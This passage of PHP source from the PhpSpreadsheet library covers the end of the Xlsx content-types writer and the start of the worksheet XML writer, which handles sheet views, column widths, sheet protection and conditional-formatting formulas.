'.xml', 'application/vnd.openxmlformats-officedocument.drawing+xml'); } // If we have charts, then we need a chart relationship for every individual chart if ($chartCount > 0) { for ($c = 0; $c < $chartCount; ++$c) { $this->writeOverrideContentType($objWriter, '/xl/charts/chart' . $chart++ . '.xml', 'application/vnd.openxmlformats-officedocument.drawingml.chart+xml'); } } } // Comments for ($i = 0; $i < $sheetCount; ++$i) { if (count($spreadsheet->getSheet($i)->getComments()) > 0) { $this->writeOverrideContentType($objWriter, '/xl/comments' . ($i + 1) . '.xml', 'application/vnd.openxmlformats-officedocument.spreadsheetml.comments+xml'); } } // Add media content-types $aMediaContentTypes = []; $mediaCount = $this->getParentWriter()->getDrawingHashTable()->count(); for ($i = 0; $i < $mediaCount; ++$i) { $extension = ''; $mimeType = ''; if ($this->getParentWriter()->getDrawingHashTable()->getByIndex($i) instanceof \PhpOffice\PhpSpreadsheet\Worksheet\Drawing) { $extension = strtolower($this->getParentWriter()->getDrawingHashTable()->getByIndex($i)->getExtension()); $mimeType = $this->getImageMimeType($this->getParentWriter()->getDrawingHashTable()->getByIndex($i)->getPath()); } elseif ($this->getParentWriter()->getDrawingHashTable()->getByIndex($i) instanceof MemoryDrawing) { $extension = strtolower($this->getParentWriter()->getDrawingHashTable()->getByIndex($i)->getMimeType()); $extension = explode('/', $extension); $extension = $extension[1]; $mimeType = $this->getParentWriter()->getDrawingHashTable()->getByIndex($i)->getMimeType(); } if (!isset($aMediaContentTypes[$extension])) { $aMediaContentTypes[$extension] = $mimeType; $this->writeDefaultContentType($objWriter, $extension, $mimeType); } } if ($spreadsheet->hasRibbonBinObjects()) { // Some additional objects in the ribbon ? // we need to write "Extension" but not already write for media content $tabRibbonTypes = array_diff($spreadsheet->getRibbonBinObjects('types') ?? [], array_keys($aMediaContentTypes)); foreach ($tabRibbonTypes as $aRibbonType) { $mimeType = 'image/.' . $aRibbonType; //we wrote $mimeType like customUI Editor $this->writeDefaultContentType($objWriter, $aRibbonType, $mimeType); } } $sheetCount = $spreadsheet->getSheetCount(); for ($i = 0; $i < $sheetCount; ++$i) { if (count($spreadsheet->getSheet($i)->getHeaderFooter()->getImages()) > 0) { foreach ($spreadsheet->getSheet($i)->getHeaderFooter()->getImages() as $image) { if (!isset($aMediaContentTypes[strtolower($image->getExtension())])) { $aMediaContentTypes[strtolower($image->getExtension())] = $this->getImageMimeType($image->getPath()); $this->writeDefaultContentType($objWriter, strtolower($image->getExtension()), $aMediaContentTypes[strtolower($image->getExtension())]); } } } if (count($spreadsheet->getSheet($i)->getComments()) > 0) { foreach ($spreadsheet->getSheet($i)->getComments() as $comment) { if (!$comment->hasBackgroundImage()) { continue; } $bgImage = $comment->getBackgroundImage(); $bgImageExtentionKey = strtolower($bgImage->getImageFileExtensionForSave(false)); if (!isset($aMediaContentTypes[$bgImageExtentionKey])) { $aMediaContentTypes[$bgImageExtentionKey] = $bgImage->getImageMimeType(); $this->writeDefaultContentType($objWriter, $bgImageExtentionKey, $aMediaContentTypes[$bgImageExtentionKey]); } } } $bgImage = $spreadsheet->getSheet($i)->getBackgroundImage(); $mimeType = $spreadsheet->getSheet($i)->getBackgroundMime(); $extension = $spreadsheet->getSheet($i)->getBackgroundExtension(); if ($bgImage !== '' && !isset($aMediaContentTypes[$mimeType])) { $this->writeDefaultContentType($objWriter, $extension, $mimeType); } } // unparsed defaults if (isset($unparsedLoadedData['default_content_types'])) { foreach ($unparsedLoadedData['default_content_types'] as $extName => $contentType) { $this->writeDefaultContentType($objWriter, $extName, $contentType); } } // unparsed overrides if (isset($unparsedLoadedData['override_content_types'])) { foreach ($unparsedLoadedData['override_content_types'] as $partName => $overrideType) { $this->writeOverrideContentType($objWriter, $partName, $overrideType); } } $objWriter->endElement(); // Return return $objWriter->getData(); } private static int $three = 3; // phpstan silliness /** * Get image mime type. * * @param string $filename Filename * * @return string Mime Type */ private function getImageMimeType(string $filename): string { if (File::fileExists($filename)) { $image = getimagesize($filename); return image_type_to_mime_type((is_array($image) && count($image) >= self::$three) ? $image[2] : 0); } throw new WriterException("File $filename does not exist"); } /** * Write Default content type. * * @param string $partName Part name * @param string $contentType Content type */ private function writeDefaultContentType(XMLWriter $objWriter, string $partName, string $contentType): void { if ($partName != '' && $contentType != '') { // Write content type $objWriter->startElement('Default'); $objWriter->writeAttribute('Extension', $partName); $objWriter->writeAttribute('ContentType', $contentType); $objWriter->endElement(); } else { throw new WriterException('Invalid parameters passed.'); } } /** * Write Override content type. * * @param string $partName Part name * @param string $contentType Content type */ private function writeOverrideContentType(XMLWriter $objWriter, string $partName, string $contentType): void { if ($partName != '' && $contentType != '') { // Write content type $objWriter->startElement('Override'); $objWriter->writeAttribute('PartName', $partName); $objWriter->writeAttribute('ContentType', $contentType); $objWriter->endElement(); } else { throw new WriterException('Invalid parameters passed.'); } } } phpoffice/phpspreadsheet/src/PhpSpreadsheet/Writer/Xlsx/Worksheet.php000064400000211032151676714400022144 0ustar00<?php namespace PhpOffice\PhpSpreadsheet\Writer\Xlsx; use PhpOffice\PhpSpreadsheet\Calculation\Information\ErrorValue; use PhpOffice\PhpSpreadsheet\Cell\Cell; use PhpOffice\PhpSpreadsheet\Cell\Coordinate; use PhpOffice\PhpSpreadsheet\Reader\Xlsx\Namespaces; use PhpOffice\PhpSpreadsheet\RichText\RichText; use PhpOffice\PhpSpreadsheet\Settings; use PhpOffice\PhpSpreadsheet\Shared\StringHelper; use PhpOffice\PhpSpreadsheet\Shared\XMLWriter; use PhpOffice\PhpSpreadsheet\Style\Conditional; use PhpOffice\PhpSpreadsheet\Style\ConditionalFormatting\ConditionalColorScale; use PhpOffice\PhpSpreadsheet\Style\ConditionalFormatting\ConditionalDataBar; use PhpOffice\PhpSpreadsheet\Style\ConditionalFormatting\ConditionalFormattingRuleExtension; use PhpOffice\PhpSpreadsheet\Worksheet\RowDimension; use PhpOffice\PhpSpreadsheet\Worksheet\SheetView; use PhpOffice\PhpSpreadsheet\Worksheet\Worksheet as PhpspreadsheetWorksheet; class Worksheet extends WriterPart { private string $numberStoredAsText = ''; private string $formula = ''; private string $twoDigitTextYear = ''; private string $evalError = ''; private bool $explicitStyle0; /** * Write worksheet to XML format. * * @param string[] $stringTable * @param bool $includeCharts Flag indicating if we should write charts * * @return string XML Output */ public function writeWorksheet(PhpspreadsheetWorksheet $worksheet, array $stringTable = [], bool $includeCharts = false): string { $this->explicitStyle0 = $this->getParentWriter()->getExplicitStyle0(); $this->numberStoredAsText = ''; $this->formula = ''; $this->twoDigitTextYear = ''; $this->evalError = ''; // Create XML writer $objWriter = null; if ($this->getParentWriter()->getUseDiskCaching()) { $objWriter = new XMLWriter(XMLWriter::STORAGE_DISK, $this->getParentWriter()->getDiskCachingDirectory()); } else { $objWriter = new XMLWriter(XMLWriter::STORAGE_MEMORY); } // XML header $objWriter->startDocument('1.0', 'UTF-8', 'yes'); // Worksheet $objWriter->startElement('worksheet'); $objWriter->writeAttribute('xml:space', 'preserve'); $objWriter->writeAttribute('xmlns', Namespaces::MAIN); $objWriter->writeAttribute('xmlns:r', Namespaces::SCHEMA_OFFICE_DOCUMENT); $objWriter->writeAttribute('xmlns:xdr', Namespaces::SPREADSHEET_DRAWING); $objWriter->writeAttribute('xmlns:x14', Namespaces::DATA_VALIDATIONS1); $objWriter->writeAttribute('xmlns:xm', Namespaces::DATA_VALIDATIONS2); $objWriter->writeAttribute('xmlns:mc', Namespaces::COMPATIBILITY); $objWriter->writeAttribute('mc:Ignorable', 'x14ac'); $objWriter->writeAttribute('xmlns:x14ac', Namespaces::SPREADSHEETML_AC); // sheetPr $this->writeSheetPr($objWriter, $worksheet); // Dimension $this->writeDimension($objWriter, $worksheet); // sheetViews $this->writeSheetViews($objWriter, $worksheet); // sheetFormatPr $this->writeSheetFormatPr($objWriter, $worksheet); // cols $this->writeCols($objWriter, $worksheet); // sheetData $this->writeSheetData($objWriter, $worksheet, $stringTable); // sheetProtection $this->writeSheetProtection($objWriter, $worksheet); // protectedRanges $this->writeProtectedRanges($objWriter, $worksheet); // autoFilter $this->writeAutoFilter($objWriter, $worksheet); // mergeCells $this->writeMergeCells($objWriter, $worksheet); // conditionalFormatting $this->writeConditionalFormatting($objWriter, $worksheet); // dataValidations $this->writeDataValidations($objWriter, $worksheet); // hyperlinks $this->writeHyperlinks($objWriter, $worksheet); // Print options $this->writePrintOptions($objWriter, $worksheet); // Page margins $this->writePageMargins($objWriter, $worksheet); // Page setup $this->writePageSetup($objWriter, $worksheet); // Header / footer $this->writeHeaderFooter($objWriter, $worksheet); // Breaks $this->writeBreaks($objWriter, $worksheet); // Drawings and/or Charts $this->writeDrawings($objWriter, $worksheet, $includeCharts); // LegacyDrawing $this->writeLegacyDrawing($objWriter, $worksheet); // LegacyDrawingHF $this->writeLegacyDrawingHF($objWriter, $worksheet); // AlternateContent $this->writeAlternateContent($objWriter, $worksheet); // IgnoredErrors $this->writeIgnoredErrors($objWriter); // BackgroundImage must come after ignored, before table $this->writeBackgroundImage($objWriter, $worksheet); // Table $this->writeTable($objWriter, $worksheet); // ConditionalFormattingRuleExtensionList // (Must be inserted last. Not insert last, an Excel parse error will occur) $this->writeExtLst($objWriter, $worksheet); $objWriter->endElement(); // Return return $objWriter->getData(); } private function writeIgnoredError(XMLWriter $objWriter, bool &$started, string $attr, string $cells): void { if ($cells !== '') { if (!$started) { $objWriter->startElement('ignoredErrors'); $started = true; } $objWriter->startElement('ignoredError'); $objWriter->writeAttribute('sqref', substr($cells, 1)); $objWriter->writeAttribute($attr, '1'); $objWriter->endElement(); } } private function writeIgnoredErrors(XMLWriter $objWriter): void { $started = false; $this->writeIgnoredError($objWriter, $started, 'numberStoredAsText', $this->numberStoredAsText); $this->writeIgnoredError($objWriter, $started, 'formula', $this->formula); $this->writeIgnoredError($objWriter, $started, 'twoDigitTextYear', $this->twoDigitTextYear); $this->writeIgnoredError($objWriter, $started, 'evalError', $this->evalError); if ($started) { $objWriter->endElement(); } } /** * Write SheetPr. */ private function writeSheetPr(XMLWriter $objWriter, PhpspreadsheetWorksheet $worksheet): void { // sheetPr $objWriter->startElement('sheetPr'); if ($worksheet->getParentOrThrow()->hasMacros()) { //if the workbook have macros, we need to have codeName for the sheet if (!$worksheet->hasCodeName()) { $worksheet->setCodeName($worksheet->getTitle()); } self::writeAttributeNotNull($objWriter, 'codeName', $worksheet->getCodeName()); } $autoFilterRange = $worksheet->getAutoFilter()->getRange(); if (!empty($autoFilterRange)) { $objWriter->writeAttribute('filterMode', '1'); if (!$worksheet->getAutoFilter()->getEvaluated()) { $worksheet->getAutoFilter()->showHideRows(); } } $tables = $worksheet->getTableCollection(); if (count($tables)) { foreach ($tables as $table) { if (!$table->getAutoFilter()->getEvaluated()) { $table->getAutoFilter()->showHideRows(); } } } // tabColor if ($worksheet->isTabColorSet()) { $objWriter->startElement('tabColor'); $objWriter->writeAttribute('rgb', $worksheet->getTabColor()->getARGB() ?? ''); $objWriter->endElement(); } // outlinePr $objWriter->startElement('outlinePr'); $objWriter->writeAttribute('summaryBelow', ($worksheet->getShowSummaryBelow() ? '1' : '0')); $objWriter->writeAttribute('summaryRight', ($worksheet->getShowSummaryRight() ? '1' : '0')); $objWriter->endElement(); // pageSetUpPr if ($worksheet->getPageSetup()->getFitToPage()) { $objWriter->startElement('pageSetUpPr'); $objWriter->writeAttribute('fitToPage', '1'); $objWriter->endElement(); } $objWriter->endElement(); } /** * Write Dimension. */ private function writeDimension(XMLWriter $objWriter, PhpspreadsheetWorksheet $worksheet): void { // dimension $objWriter->startElement('dimension'); $objWriter->writeAttribute('ref', $worksheet->calculateWorksheetDimension()); $objWriter->endElement(); } /** * Write SheetViews. */ private function writeSheetViews(XMLWriter $objWriter, PhpspreadsheetWorksheet $worksheet): void { // sheetViews $objWriter->startElement('sheetViews'); // Sheet selected? $sheetSelected = false; if ($this->getParentWriter()->getSpreadsheet()->getIndex($worksheet) == $this->getParentWriter()->getSpreadsheet()->getActiveSheetIndex()) { $sheetSelected = true; } // sheetView $objWriter->startElement('sheetView'); $objWriter->writeAttribute('tabSelected', $sheetSelected ? '1' : '0'); $objWriter->writeAttribute('workbookViewId', '0'); // Zoom scales $zoomScale = $worksheet->getSheetView()->getZoomScale(); if ($zoomScale !== 100 && $zoomScale !== null) { $objWriter->writeAttribute('zoomScale', (string) $zoomScale); } $zoomScale = $worksheet->getSheetView()->getZoomScaleNormal(); if ($zoomScale !== 100 && $zoomScale !== null) { $objWriter->writeAttribute('zoomScaleNormal', (string) $zoomScale); } $zoomScale = $worksheet->getSheetView()->getZoomScalePageLayoutView(); if ($zoomScale !== 100) { $objWriter->writeAttribute('zoomScalePageLayoutView', (string) $zoomScale); } $zoomScale = $worksheet->getSheetView()->getZoomScaleSheetLayoutView(); if ($zoomScale !== 100) { $objWriter->writeAttribute('zoomScaleSheetLayoutView', (string) $zoomScale); } // Show zeros (Excel also writes this attribute only if set to false) if ($worksheet->getSheetView()->getShowZeros() === false) { $objWriter->writeAttribute('showZeros', '0'); } // View Layout Type if ($worksheet->getSheetView()->getView() !== SheetView::SHEETVIEW_NORMAL) { $objWriter->writeAttribute('view', $worksheet->getSheetView()->getView()); } // Gridlines if ($worksheet->getShowGridlines()) { $objWriter->writeAttribute('showGridLines', 'true'); } else { $objWriter->writeAttribute('showGridLines', 'false'); } // Row and column headers if ($worksheet->getShowRowColHeaders()) { $objWriter->writeAttribute('showRowColHeaders', '1'); } else { $objWriter->writeAttribute('showRowColHeaders', '0'); } // Right-to-left if ($worksheet->getRightToLeft()) { $objWriter->writeAttribute('rightToLeft', 'true'); } $topLeftCell = $worksheet->getTopLeftCell(); if (!empty($topLeftCell) && $worksheet->getPaneState() !== PhpspreadsheetWorksheet::PANE_FROZEN && $worksheet->getPaneState() !== PhpspreadsheetWorksheet::PANE_FROZENSPLIT) { $objWriter->writeAttribute('topLeftCell', $topLeftCell); } $activeCell = $worksheet->getActiveCell(); $sqref = $worksheet->getSelectedCells(); // Pane if ($worksheet->usesPanes()) { $objWriter->startElement('pane'); $xSplit = $worksheet->getXSplit(); $ySplit = $worksheet->getYSplit(); $pane = $worksheet->getActivePane(); $paneTopLeftCell = $worksheet->getPaneTopLeftCell(); $paneState = $worksheet->getPaneState(); $normalFreeze = ''; if ($paneState === PhpspreadsheetWorksheet::PANE_FROZEN) { if ($ySplit > 0) { $normalFreeze = ($xSplit <= 0) ? 'bottomLeft' : 'bottomRight'; } else { $normalFreeze = 'topRight'; } } if ($xSplit > 0) { $objWriter->writeAttribute('xSplit', "$xSplit"); } if ($ySplit > 0) { $objWriter->writeAttribute('ySplit', "$ySplit"); } if ($normalFreeze !== '') { $objWriter->writeAttribute('activePane', $normalFreeze); } elseif ($pane !== '') { $objWriter->writeAttribute('activePane', $pane); } if ($paneState !== '') { $objWriter->writeAttribute('state', $paneState); } if ($paneTopLeftCell !== '') { $objWriter->writeAttribute('topLeftCell', $paneTopLeftCell); } $objWriter->endElement(); // pane if ($normalFreeze !== '') { $objWriter->startElement('selection'); $objWriter->writeAttribute('pane', $normalFreeze); if ($activeCell !== '') { $objWriter->writeAttribute('activeCell', $activeCell); } if ($sqref !== '') { $objWriter->writeAttribute('sqref', $sqref); } $objWriter->endElement(); // selection $sqref = $activeCell = ''; } else { foreach ($worksheet->getPanes() as $panex) { if ($panex !== null) { $sqref = $activeCell = ''; $objWriter->startElement('selection'); $objWriter->writeAttribute('pane', $panex->getPosition()); $activeCellPane = $panex->getActiveCell(); if ($activeCellPane !== '') { $objWriter->writeAttribute('activeCell', $activeCellPane); } $sqrefPane = $panex->getSqref(); if ($sqrefPane !== '') { $objWriter->writeAttribute('sqref', $sqrefPane); } $objWriter->endElement(); // selection } } } } // Selection // Only need to write selection element if we have a split pane // We cheat a little by over-riding the active cell selection, setting it to the split cell if (!empty($sqref) || !empty($activeCell)) { $objWriter->startElement('selection'); if (!empty($activeCell)) { $objWriter->writeAttribute('activeCell', $activeCell); } if (!empty($sqref)) { $objWriter->writeAttribute('sqref', $sqref); } $objWriter->endElement(); // selection } $objWriter->endElement(); $objWriter->endElement(); } /** * Write SheetFormatPr. */ private function writeSheetFormatPr(XMLWriter $objWriter, PhpspreadsheetWorksheet $worksheet): void { // sheetFormatPr $objWriter->startElement('sheetFormatPr'); // Default row height if ($worksheet->getDefaultRowDimension()->getRowHeight() >= 0) { $objWriter->writeAttribute('customHeight', 'true'); $objWriter->writeAttribute('defaultRowHeight', StringHelper::formatNumber($worksheet->getDefaultRowDimension()->getRowHeight())); } else { $objWriter->writeAttribute('defaultRowHeight', '14.4'); } // Set Zero Height row if ($worksheet->getDefaultRowDimension()->getZeroHeight()) { $objWriter->writeAttribute('zeroHeight', '1'); } // Default column width if ($worksheet->getDefaultColumnDimension()->getWidth() >= 0) { $objWriter->writeAttribute('defaultColWidth', StringHelper::formatNumber($worksheet->getDefaultColumnDimension()->getWidth())); } // Outline level - row $outlineLevelRow = 0; foreach ($worksheet->getRowDimensions() as $dimension) { if ($dimension->getOutlineLevel() > $outlineLevelRow) { $outlineLevelRow = $dimension->getOutlineLevel(); } } $objWriter->writeAttribute('outlineLevelRow', (string) (int) $outlineLevelRow); // Outline level - column $outlineLevelCol = 0; foreach ($worksheet->getColumnDimensions() as $dimension) { if ($dimension->getOutlineLevel() > $outlineLevelCol) { $outlineLevelCol = $dimension->getOutlineLevel(); } } $objWriter->writeAttribute('outlineLevelCol', (string) (int) $outlineLevelCol); $objWriter->endElement(); } /** * Write Cols. */ private function writeCols(XMLWriter $objWriter, PhpspreadsheetWorksheet $worksheet): void { // cols if (count($worksheet->getColumnDimensions()) > 0) { $objWriter->startElement('cols'); $worksheet->calculateColumnWidths(); // Loop through column dimensions foreach ($worksheet->getColumnDimensions() as $colDimension) { // col $objWriter->startElement('col'); $objWriter->writeAttribute('min', (string) Coordinate::columnIndexFromString($colDimension->getColumnIndex())); $objWriter->writeAttribute('max', (string) Coordinate::columnIndexFromString($colDimension->getColumnIndex())); if ($colDimension->getWidth() < 0) { // No width set, apply default of 10 $objWriter->writeAttribute('width', '9.10'); } else { // Width set $objWriter->writeAttribute('width', StringHelper::formatNumber($colDimension->getWidth())); } // Column visibility if ($colDimension->getVisible() === false) { $objWriter->writeAttribute('hidden', 'true'); } // Auto size? if ($colDimension->getAutoSize()) { $objWriter->writeAttribute('bestFit', 'true'); } // Custom width? if ($colDimension->getWidth() != $worksheet->getDefaultColumnDimension()->getWidth()) { $objWriter->writeAttribute('customWidth', 'true'); } // Collapsed if ($colDimension->getCollapsed() === true) { $objWriter->writeAttribute('collapsed', 'true'); } // Outline level if ($colDimension->getOutlineLevel() > 0) { $objWriter->writeAttribute('outlineLevel', (string) $colDimension->getOutlineLevel()); } // Style $objWriter->writeAttribute('style', (string) $colDimension->getXfIndex()); $objWriter->endElement(); } $objWriter->endElement(); } } /** * Write SheetProtection. */ private function writeSheetProtection(XMLWriter $objWriter, PhpspreadsheetWorksheet $worksheet): void { $protection = $worksheet->getProtection(); if (!$protection->isProtectionEnabled()) { return; } // sheetProtection $objWriter->startElement('sheetProtection'); if ($protection->getAlgorithm()) { $objWriter->writeAttribute('algorithmName', $protection->getAlgorithm()); $objWriter->writeAttribute('hashValue', $protection->getPassword()); $objWriter->writeAttribute('saltValue', $protection->getSalt()); $objWriter->writeAttribute('spinCount', (string) $protection->getSpinCount()); } elseif ($protection->getPassword() !== '') { $objWriter->writeAttribute('password', $protection->getPassword()); } self::writeProtectionAttribute($objWriter, 'sheet', $protection->getSheet()); self::writeProtectionAttribute($objWriter, 'objects', $protection->getObjects()); self::writeProtectionAttribute($objWriter, 'scenarios', $protection->getScenarios()); self::writeProtectionAttribute($objWriter, 'formatCells', $protection->getFormatCells()); self::writeProtectionAttribute($objWriter, 'formatColumns', $protection->getFormatColumns()); self::writeProtectionAttribute($objWriter, 'formatRows', $protection->getFormatRows()); self::writeProtectionAttribute($objWriter, 'insertColumns', $protection->getInsertColumns()); self::writeProtectionAttribute($objWriter, 'insertRows', $protection->getInsertRows()); self::writeProtectionAttribute($objWriter, 'insertHyperlinks', $protection->getInsertHyperlinks()); self::writeProtectionAttribute($objWriter, 'deleteColumns', $protection->getDeleteColumns()); self::writeProtectionAttribute($objWriter, 'deleteRows', $protection->getDeleteRows()); self::writeProtectionAttribute($objWriter, 'sort', $protection->getSort()); self::writeProtectionAttribute($objWriter, 'autoFilter', $protection->getAutoFilter()); self::writeProtectionAttribute($objWriter, 'pivotTables', $protection->getPivotTables()); self::writeProtectionAttribute($objWriter, 'selectLockedCells', $protection->getSelectLockedCells()); self::writeProtectionAttribute($objWriter, 'selectUnlockedCells', $protection->getSelectUnlockedCells()); $objWriter->endElement(); } private static function writeProtectionAttribute(XMLWriter $objWriter, string $name, ?bool $value): void { if ($value === true) { $objWriter->writeAttribute($name, '1'); } elseif ($value === false) { $objWriter->writeAttribute($name, '0'); } } private static function writeAttributeIf(XMLWriter $objWriter, ?bool $condition, string $attr, string $val): void { if ($condition) { $objWriter->writeAttribute($attr, $val); } } private static function writeAttributeNotNull(XMLWriter $objWriter, string $attr, ?string $val): void { if ($val !== null) { $objWriter->writeAttribute($attr, $val); } } private static function writeElementIf(XMLWriter $objWriter, bool $condition, string $attr, string $val): void { if ($condition) { $objWriter->writeElement($attr, $val); } } private static function writeOtherCondElements(XMLWriter $objWriter, Conditional $conditional, string $cellCoordinate): void { $conditions = $conditional->getConditions(); if ( $conditional->getConditionType() == Conditional::CONDITION_CELLIS || $conditional->getConditionType() == Conditional::CONDITION_EXPRESSION || !empty($conditions) ) { foreach ($conditions as $formula) { // Formula if (is_bool($formula)) { $formula = $formula ? 'TRUE' : 'FALSE'; } $objWriter->writeElement('formula', FunctionPrefix::addFunctionPrefix("$formula")); } } else { if ($conditional->getConditionType() == Conditional::CONDITION_CONTAINSBLANKS) { // formula copied from ms xlsx xml source file $objWriter->writeElement('formula', 'LEN(TRIM(' . $cellCoordinate . '))=0'); } elseif ($conditional->getConditionType() == Conditional::CONDITION_NOTCONTAINSBLANKS) { // formula copied from ms xlsx xml source file $objWriter->writeElement('formula', 'LEN(TRIM(' . $cellCoordinate . '))>0'); } elseif ($conditional->getConditionType() == Conditional::CONDITION_CONTAINSERRORS) { // formula copied from ms xlsx xml source file $objWriter->writeElement('formula', 'ISERROR(' . $cellCoordinate . ')'); } elseif ($conditional->getConditionType() == Conditional::CONDITION_NOTCONTAINSERRORS) { // formula copied from ms xlsx xml source file $objWriter->writeElement('formula', 'NOT(ISERROR(' . $cellCoordinate . '))'); } } } private static function writeTimePeriodCondElements(XMLWriter $objWriter, Conditional $conditional, string $cellCoordinate): void { $txt = $conditional->getText(); if (!empty($txt)) { $objWriter->writeAttribute('timePeriod', $txt); if (empty($conditional->getConditions())) { if ($conditional->getOperatorType() == Conditional::TIMEPERIOD_TODAY) { $objWriter->writeElement('formula', 'FLOOR(' . $cellCoordinate . ')=TODAY()'); } elseif ($conditional->getOperatorType() == Conditional::TIMEPERIOD_TOMORROW) { $objWriter->writeElement('formula', 'FLOOR(' . $cellCoordinate . ')=TODAY()+1'); } elseif ($conditional->getOperatorType() == Conditional::TIMEPERIOD_YESTERDAY) { $objWriter->writeElement('formula', 'FLOOR(' . $cellCoordinate . ')=TODAY()-1'); } elseif ($conditional->getOperatorType() == Conditional::TIMEPERIOD_LAST_7_DAYS) { $objWriter->writeElement('formula', 'AND(TODAY()-FLOOR(' . $cellCoordinate . ',1)<=6,FLOOR(' . $cellCoordinate . ',1)<=TODAY())'); } elseif ($conditional->getOperatorType() == Conditional::TIMEPERIOD_LAST_WEEK) { $objWriter->writeElement('formula', 'AND(TODAY()-ROUNDDOWN(' . $cellCoordinate . ',0)>=(WEEKDAY(TODAY())),TODAY()-ROUNDDOWN(' . $cellCoordinate . ',0)<(WEEKDAY(TODAY())+7))'); } elseif ($conditional->getOperatorType() == Conditional::TIMEPERIOD_THIS_WEEK) { $objWriter->writeElement('formula', 'AND(TODAY()-ROUNDDOWN(' . $cellCoordinate . ',0)<=WEEKDAY(TODAY())-1,ROUNDDOWN(' . $cellCoordinate . ',0)-TODAY()<=7-WEEKDAY(TODAY()))'); } elseif ($conditional->getOperatorType() == Conditional::TIMEPERIOD_NEXT_WEEK) { $objWriter->writeElement('formula', 'AND(ROUNDDOWN(' . $cellCoordinate . ',0)-TODAY()>(7-WEEKDAY(TODAY())),ROUNDDOWN(' . $cellCoordinate . ',0)-TODAY()<(15-WEEKDAY(TODAY())))'); } elseif ($conditional->getOperatorType() == Conditional::TIMEPERIOD_LAST_MONTH) { $objWriter->writeElement('formula', 'AND(MONTH(' . $cellCoordinate . ')=MONTH(EDATE(TODAY(),0-1)),YEAR(' . $cellCoordinate . ')=YEAR(EDATE(TODAY(),0-1)))'); } elseif ($conditional->getOperatorType() == Conditional::TIMEPERIOD_THIS_MONTH) { $objWriter->writeElement('formula', 'AND(MONTH(' . $cellCoordinate . ')=MONTH(TODAY()),YEAR(' . $cellCoordinate . ')=YEAR(TODAY()))'); } elseif ($conditional->getOperatorType() == Conditional::TIMEPERIOD_NEXT_MONTH) { $objWriter->writeElement('formula', 'AND(MONTH(' . $cellCoordinate . ')=MONTH(EDATE(TODAY(),0+1)),YEAR(' . $cellCoordinate . ')=YEAR(EDATE(TODAY(),0+1)))'); } } else { $objWriter->writeElement('formula', (string) ($conditional->getConditions()[0])); } } } private static function writeTextCondElements(XMLWriter $objWriter, Conditional $conditional, string $cellCoordinate): void { $txt = $conditional->getText(); if (!empty($txt)) { $objWriter->writeAttribute('text', $txt); if (empty($conditional->getConditions())) { if ($conditional->getOperatorType() == Conditional::OPERATOR_CONTAINSTEXT) { $objWriter->writeElement('formula', 'NOT(ISERROR(SEARCH("' . $txt . '",' . $cellCoordinate . ')))'); } elseif ($conditional->getOperatorType() == Conditional::OPERATOR_BEGINSWITH) { $objWriter->writeElement('formula', 'LEFT(' . $cellCoordinate . ',LEN("' . $txt . '"))="' . $txt . '"'); } elseif ($conditional->getOperatorType() == Conditional::OPERATOR_ENDSWITH) { $objWriter->writeElement('formula', 'RIGHT(' . $cellCoordinate . ',LEN("' . $txt . '"))="' . $txt . '"'); } elseif ($conditional->getOperatorType() == Conditional::OPERATOR_NOTCONTAINS) { $objWriter->writeElement('formula', 'ISERROR(SEARCH("' . $txt . '",' . $cellCoordinate . '))'); } } else { $objWriter->writeElement('formula', (string) ($conditional->getConditions()[0])); } } } private static function writeExtConditionalFormattingElements(XMLWriter $objWriter, ConditionalFormattingRuleExtension $ruleExtension): void { $prefix = 'x14'; $objWriter->startElementNs($prefix, 'conditionalFormatting', null); $objWriter->startElementNs($prefix, 'cfRule', null); $objWriter->writeAttribute('type', $ruleExtension->getCfRule()); $objWriter->writeAttribute('id', $ruleExtension->getId()); $objWriter->startElementNs($prefix, 'dataBar', null); $dataBar = $ruleExtension->getDataBarExt(); foreach ($dataBar->getXmlAttributes() as $attrKey => $val) { $objWriter->writeAttribute($attrKey, $val); } $minCfvo = $dataBar->getMinimumConditionalFormatValueObject(); if ($minCfvo !== null) { $objWriter->startElementNs($prefix, 'cfvo', null); $objWriter->writeAttribute('type', $minCfvo->getType()); if ($minCfvo->getCellFormula()) { $objWriter->writeElement('xm:f', $minCfvo->getCellFormula()); } $objWriter->endElement(); //end cfvo } $maxCfvo = $dataBar->getMaximumConditionalFormatValueObject(); if ($maxCfvo !== null) { $objWriter->startElementNs($prefix, 'cfvo', null); $objWriter->writeAttribute('type', $maxCfvo->getType()); if ($maxCfvo->getCellFormula()) { $objWriter->writeElement('xm:f', $maxCfvo->getCellFormula()); } $objWriter->endElement(); //end cfvo } foreach ($dataBar->getXmlElements() as $elmKey => $elmAttr) { $objWriter->startElementNs($prefix, $elmKey, null); foreach ($elmAttr as $attrKey => $attrVal) { $objWriter->writeAttribute($attrKey, $attrVal); } $objWriter->endElement(); //end elmKey } $objWriter->endElement(); //end dataBar $objWriter->endElement(); //end cfRule $objWriter->writeElement('xm:sqref', $ruleExtension->getSqref()); $objWriter->endElement(); //end conditionalFormatting } private static function writeDataBarElements(XMLWriter $objWriter, ?ConditionalDataBar $dataBar): void { if ($dataBar) { $objWriter->startElement('dataBar'); self::writeAttributeIf($objWriter, null !== $dataBar->getShowValue(), 'showValue', $dataBar->getShowValue() ? '1' : '0'); $minCfvo = $dataBar->getMinimumConditionalFormatValueObject(); if ($minCfvo) { $objWriter->startElement('cfvo'); $objWriter->writeAttribute('type', $minCfvo->getType()); self::writeAttributeIf($objWriter, $minCfvo->getValue() !== null, 'val', (string) $minCfvo->getValue()); $objWriter->endElement(); } $maxCfvo = $dataBar->getMaximumConditionalFormatValueObject(); if ($maxCfvo) { $objWriter->startElement('cfvo'); $objWriter->writeAttribute('type', $maxCfvo->getType()); self::writeAttributeIf($objWriter, $maxCfvo->getValue() !== null, 'val', (string) $maxCfvo->getValue()); $objWriter->endElement(); } if ($dataBar->getColor()) { $objWriter->startElement('color'); $objWriter->writeAttribute('rgb', $dataBar->getColor()); $objWriter->endElement(); } $objWriter->endElement(); // end dataBar if ($dataBar->getConditionalFormattingRuleExt()) { $objWriter->startElement('extLst'); $extension = $dataBar->getConditionalFormattingRuleExt(); $objWriter->startElement('ext'); $objWriter->writeAttribute('uri', '{B025F937-C7B1-47D3-B67F-A62EFF666E3E}'); $objWriter->startElementNs('x14', 'id', null); $objWriter->text($extension->getId()); $objWriter->endElement(); $objWriter->endElement(); $objWriter->endElement(); //end extLst } } } private static function writeColorScaleElements(XMLWriter $objWriter, ?ConditionalColorScale $colorScale): void { if ($colorScale) { $objWriter->startElement('colorScale'); $minCfvo = $colorScale->getMinimumConditionalFormatValueObject(); $minArgb = $colorScale->getMinimumColor()?->getARGB(); $useMin = $minCfvo !== null || $minArgb !== null; if 